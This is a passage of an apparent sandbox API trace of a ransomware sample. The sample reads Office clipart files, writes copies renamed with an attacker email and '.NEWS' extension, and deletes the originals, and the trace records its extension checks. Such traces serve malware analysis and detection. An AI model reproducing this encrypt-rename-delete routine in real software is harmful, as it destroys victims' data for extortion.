(lpString=".7z") returned 3 [0078.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.001] lstrlenW (lpString=".dbf") returned 4 [0078.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.001] lstrlenW (lpString=".1cd") returned 4 [0078.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.001] lstrlenW (lpString=".jpg") returned 4 [0078.001] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.001] lstrlenW (lpString=".doc") returned 4 [0078.001] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString=".docx") returned 5 [0078.001] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.001] lstrlenW (lpString=".pdf") returned 4 [0078.001] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.001] lstrlenW (lpString=".xls") returned 4 [0078.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.001] lstrlenW (lpString=".xlsx") returned 5 [0078.001] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.001] lstrlenW (lpString=".ppt") returned 4 [0078.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.002] lstrlenW (lpString=".zip") returned 4 [0078.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.002] lstrlenW (lpString=".rar") returned 4 [0078.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.002] lstrlenW (lpString=".bz2") returned 4 [0078.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.002] lstrlenW (lpString=".7z") returned 3 [0078.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.002] lstrlenW (lpString=".dbf") returned 4 [0078.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.002] lstrlenW (lpString=".1cd") returned 4 [0078.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0078.002] lstrlenW (lpString=".jpg") returned 4 [0078.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.002] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.002] lstrlenW (lpString="BD08773_.WMF") returned 12 [0078.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.003] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=24778) returned 1 [0078.003] CloseHandle (hObject=0x388) returned 1 [0078.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0078.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.003] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.003] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.003] GetLastError () returned 0x0 [0078.003] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x60ca, lpOverlapped=0x0) returned 1 [0078.005] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x60d0, lpOverlapped=0x0) returned 1 [0078.006] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.006] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.007] SetEndOfFile (hFile=0x308) returned 1 [0078.007] CloseHandle (hObject=0x308) returned 1 [0078.008] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.009] SetEndOfFile (hFile=0x388) returned 1 [0078.009] CloseHandle (hObject=0x388) returned 1 [0078.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0078.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.024] lstrlenW (lpString=".doc") returned 4 [0078.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString=".docx") returned 5 [0078.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.025] lstrlenW (lpString=".pdf") returned 4 [0078.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString=".xls") returned 4 [0078.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.025] lstrlenW (lpString=".xlsx") returned 5 [0078.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.025] lstrlenW (lpString=".ppt") returned 4 [0078.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.025] lstrlenW (lpString=".zip") returned 4 [0078.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.025] lstrlenW (lpString=".rar") returned 4 [0078.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString=".bz2") returned 4 [0078.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString=".7z") returned 3 [0078.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.025] lstrlenW (lpString=".dbf") returned 4 [0078.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.025] lstrlenW (lpString=".1cd") returned 4 [0078.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.025] lstrlenW (lpString=".jpg") returned 4 [0078.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.136] lstrlenW (lpString=".doc") returned 4 [0078.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.136] lstrlenW (lpString=".docx") returned 5 [0078.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.136] lstrlenW (lpString=".pdf") returned 4 [0078.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.136] lstrlenW (lpString=".xls") returned 4 [0078.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.136] lstrlenW (lpString=".xlsx") returned 5 [0078.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.136] lstrlenW (lpString=".ppt") returned 4 [0078.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.136] lstrlenW (lpString=".zip") returned 4 [0078.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.136] lstrlenW (lpString=".rar") returned 4 [0078.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.136] lstrlenW (lpString=".bz2") returned 4 [0078.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.136] lstrlenW (lpString=".7z") returned 3 [0078.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.137] lstrlenW (lpString=".dbf") returned 4 [0078.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.137] lstrlenW (lpString=".1cd") returned 4 [0078.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0078.137] lstrlenW (lpString=".jpg") returned 4 [0078.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.137] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.137] lstrlenW (lpString="BD08808_.WMF") returned 12 [0078.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.137] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=47996) returned 1 [0078.138] CloseHandle (hObject=0x388) returned 1 [0078.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0078.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.138] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.138] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.138] GetLastError () returned 0x0 [0078.138] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0078.141] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0078.142] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.142] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.142] SetEndOfFile (hFile=0x308) returned 1 [0078.142] CloseHandle (hObject=0x308) returned 1 [0078.145] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.145] SetEndOfFile (hFile=0x388) returned 1 [0078.146] CloseHandle (hObject=0x388) returned 1 [0078.146] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.147] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0078.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.147] lstrlenW (lpString=".doc") returned 4 [0078.147] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.147] lstrlenW (lpString=".docx") returned 5 [0078.147] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.147] lstrlenW (lpString=".pdf") returned 4 [0078.147] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.147] lstrlenW (lpString=".xls") returned 4 [0078.147] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.147] lstrlenW (lpString=".xlsx") returned 5 [0078.147] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.147] lstrlenW (lpString=".ppt") returned 4 [0078.147] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.147] lstrlenW (lpString=".zip") returned 4 [0078.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.147] lstrlenW (lpString=".rar") returned 4 [0078.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.147] lstrlenW (lpString=".bz2") returned 4 [0078.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.147] lstrlenW (lpString=".7z") returned 3 [0078.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.147] lstrlenW (lpString=".dbf") returned 4 [0078.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString=".1cd") returned 4 [0078.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString=".jpg") returned 4 [0078.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString=".doc") returned 4 [0078.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString=".docx") returned 5 [0078.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.148] lstrlenW (lpString=".pdf") returned 4 [0078.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString=".xls") returned 4 [0078.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.148] lstrlenW (lpString=".xlsx") returned 5 [0078.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.148] lstrlenW (lpString=".ppt") returned 4 [0078.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString=".zip") returned 4 [0078.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.148] lstrlenW (lpString=".rar") returned 4 [0078.148] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString=".bz2") returned 4 [0078.148] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString=".7z") returned 3 [0078.148] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString=".dbf") returned 4 [0078.148] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.148] lstrlenW (lpString=".1cd") returned 4 [0078.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0078.149] lstrlenW (lpString=".jpg") returned 4 [0078.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.149] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0078.149] lstrlenW (lpString="BD08868_.WMF") returned 12 [0078.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.149] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=40206) returned 1 [0078.149] CloseHandle (hObject=0x388) returned 1 [0078.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0078.149] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0078.150] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.150] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0078.150] GetLastError () returned 0x0 [0078.150] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0078.152] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0078.154] ReadFile (in: hFile=0x388, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.154] WriteFile (in: hFile=0x308, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.154] SetEndOfFile (hFile=0x308) returned 1 [0078.154] CloseHandle (hObject=0x308) returned 1 [0078.159] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.159] SetEndOfFile (hFile=0x388) returned 1 [0078.160] CloseHandle (hObject=0x388) returned 1 [0078.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0078.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0078.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.161] lstrlenW (lpString=".doc") returned 4 [0078.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.161] lstrlenW (lpString=".docx") returned 5 [0078.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.161] lstrlenW (lpString=".pdf") returned 4 [0078.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.161] lstrlenW (lpString=".xls") returned 4 [0078.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.161] lstrlenW (lpString=".xlsx") returned 5 [0078.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.161] lstrlenW (lpString=".ppt") returned 4 [0078.161] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.161] lstrlenW (lpString=".zip") returned 4 [0078.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.161] lstrlenW (lpString=".rar") returned 4 [0078.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString=".bz2") returned 4 [0078.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString=".7z") returned 3 [0078.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0078.162] lstrlenW (lpString=".dbf") returned 4 [0078.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.162] lstrlenW (lpString="C:\\Program Files\\Microsoft 